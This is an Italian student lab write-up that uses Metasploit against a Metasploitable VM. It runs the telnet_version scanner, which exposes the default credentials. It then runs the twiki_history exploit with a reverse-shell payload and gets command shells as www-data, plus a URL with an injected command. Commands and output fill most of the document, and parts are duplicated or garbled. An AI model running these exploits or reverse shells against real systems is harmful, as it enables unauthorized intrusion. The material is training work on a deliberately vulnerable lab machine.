

W16D2-3

EXPLOIT DI TELNET E DI TWIKI SU METASPLOITABLE

La traccia

Traccia:

Sulla base dell'esercizio visto in lezione teorica, utilizzare Kali per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Requisito: Seguire gli step visti in lezione teorica. Prima, configurate l'IP della vostra Kali con 192.168.1.25 e l'IP della vostra Metasploitable con 192.168.1.40

La traccia(2)

Traccia:

Sulla base dell'esercizio visto in lezione teorica, utilizzare Kali per sfruttare la vulnerabilità relativa a TWiki con la tecnica che meglio preferite, sulla macchina Metasploitable.

Nota: è più difficile dell'esercizio di ieri, se dovessero esserci problemi è consentito "fare l'hacker"

Avvio msfconsole e preparazione attacco.

Avvio la console di metasploit e uso il modulo 'auxiliary telnet_version' per exploitare il servizio telnet.

Avvio la console di metasploit...

Avvio la console di metasploit e uso il modulo 'auxiliary telnet_version' per exploitare il servizio telnet.

Avvio la console di metasploit...

...dopodichè carico il modulo e setto l'ip della macchina target, lancio l'attacco ed ottengo le credenziali di telnet.

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) >

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.100.5
RHOSTS => 192.168.100.5
```

```
(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Network adapter names can be used for IP options set LHOST
eth0

*Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunnyWrote*L1
*T*Mail.ru*( ) { ;;; echo vulnerable*
*Team sorcerer*ADACTF*BisonSquad*socialdistancing*LeukeTeamNaam*OWASP Moncton*Al
egori*exit*Vampire Bunnies*APT593*
*QuePasaZombiesAndFriends*NetSecBG*coincoin*ShroomZ*Slow Coders*Scavenger Securi
ty*Bruh*NoTeamName*Terminal Cult*
*edspiner*BFG*MagentaHats*0x01DA*Kaczuski*AlphaPwners*FILAHA*Raffaela*HackSurYv
ette*outout*HackSouth*Corax*yeeb0iz*
*SKUA*Cyber COBRA*flaghunters*0xCD*AI Generated*CSEC*p3nnm3d*IFS*CTF_Circle*Inno
teclabs*baadf00d*BitSwitchers*0xnoobs*
*ItPwns - Intergalactic Team of PWNers*PCCsquared*fr334aks*runCMD*0x194*Kapital
Krakens*ReadyPlayer1337*Team 443*
*H4CKSN0W*InfoUsec*CTF Community*DCZia*NiceWay*0xBlueSky*ME3*Tipi'Hack*Porg Pwn
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > run
```

[+] 192.168.100.5:23 - 192.168.100.5:23 TELNET _
_ _ _ _ _ \x0a _ _ _ _ _ | | | | | _ _ _ _ _ (.) |
_ _ _ _ _ \x0a| | | | | _ _ _ _ _ / | | | | | _ _ _ _ _ /
_ _ _ _ _ \x0a| | | | | _ _ _ _ _ | | | | | _ _ _ _ _ | | | | |
_ _ _ _ _ \x0a| | | | | _ _ _ _ _ | | | | | _ _ _ _ _ | | | | |
_ _ _ _ _ \x0a | | | | | _ _ _ _ _ | | | | | _ _ _ _ _ | | | | |
_ _ _ _ _ \x0aWarning: Never expose this VM to an untrusted network!
\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to
get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.100.5:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
`msf6 auxiliary(scanner/telnet/telnet_version) >`

Avvio msfconsole e preparazione attacco.

Tramite le options vedo quali parametri settare per completare l'attacco, in questo caso la porta è già settata, manca l'ip della macchina attaccata.

[illegible]

Exploit tramite servizio twiki

Cerco il modulo cmd/unix/reverse, lo carico, setto il payload e il target...

```
# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/unix/webapp/moinmoin twikidraw 2012-12-30 manual me Yes MoinMoin twikidraw Action Traversal File Upload
1 exploit/unix/http/twiki_debug_plugins 2014-10-09 excellent Yes TWiki Debugenableplugins Remote Code Execution
2 exploit/unix/webapp/twiki_history 2005-09-14 excellent Yes TWiki History TWikiUsers rev Parameter Command Execution
3 exploit/unix/webapp/twiki_maketext 2012-12-15 excellent Yes TWiki MAKETEXT Remote Command Execution
4 exploit/unix/webapp/twiki_search 2004-10-01 excellent Yes TWiki Search Function Arbitrary Command Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search

msf6 > use 2
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/twiki_history) >
```

```
msf6 exploit(unix/webapp/twiki_history) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):

Name      Current Setting  Required  Description
--      -
Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     yes             yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
RPORT      80              yes        The target port (TCP)
SSL        false            no        Negotiate SSL/TLS for outgoing connections
URI        /twiki/bin       yes        TWiki bin directory path
VHOST      no               no        HTTP server virtual host

Payload options (cmd/unix/reverse):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.50.2     yes        The listen address (an interface may be specified)
LPORT     4444             yes        The listen port

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/webapp/twiki_history) > set RHOSTS 192.168.100.5
```

Exploit tramite servizio twiki

Lancio l'attacco e verifico su twiki l'esecuzione del comando in reverse shell.

```
msf6 exploit(unix/webapp/twiki_history) > exploit
[*] Started reverse TCP double handler on 192.168.50.2:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Successfully sent exploit request
[*] Command: echo SOCTzGuwhpeD2rn7; to get you rolling on TWiki.
[*] Writing to socket A: what a TWiki site is.
[*] Writing to socket B: Create your account in order to edit topics.
[*] Reading from sockets...
[*] Command: echo 93K4gcrpi13GS6na;
[*] Writing to socket A: a list of frequently asked questions.
[*] Writing to socket B: TWiki is the implementation documentation of TWiki.
[*] Reading from sockets...
[*] Reading from socket A: hows TWiki's implementation history.
[*] Reading from socket B:
[*] A: "SOCTzGuwhpeD2rn7\r\n" to consider when changing text.
[*] Reading from socket B:
[*] Matching ...
[*] B is input ...
[*] B: "93K4gcrpi13GS6na\r\n" site-level preferences
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.50.2:4444 → 192.168.100.5:45998) at 2024-02-20 14:20:08 -0500
[*] Command shell session 2 opened (192.168.50.2:4444 → 192.168.100.5:46000) at 2024-02-20 14:20:08 -0500
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Browser window showing the TWiki website. The address bar displays the URL: `192.168.100.5/twiki/bin/view/Main/TWikiUsers?rev=2|ic`. The page content shows the TWikiUsers page, including navigation links (Main, Users, Groups, Offices, Changes, Index, Search), a search bar, and a list of revisions. The current revision is r1.2, and the page content includes the command `id` and the output `uid=33(www-data) gid=33(www-data) groups=33(www-data)`.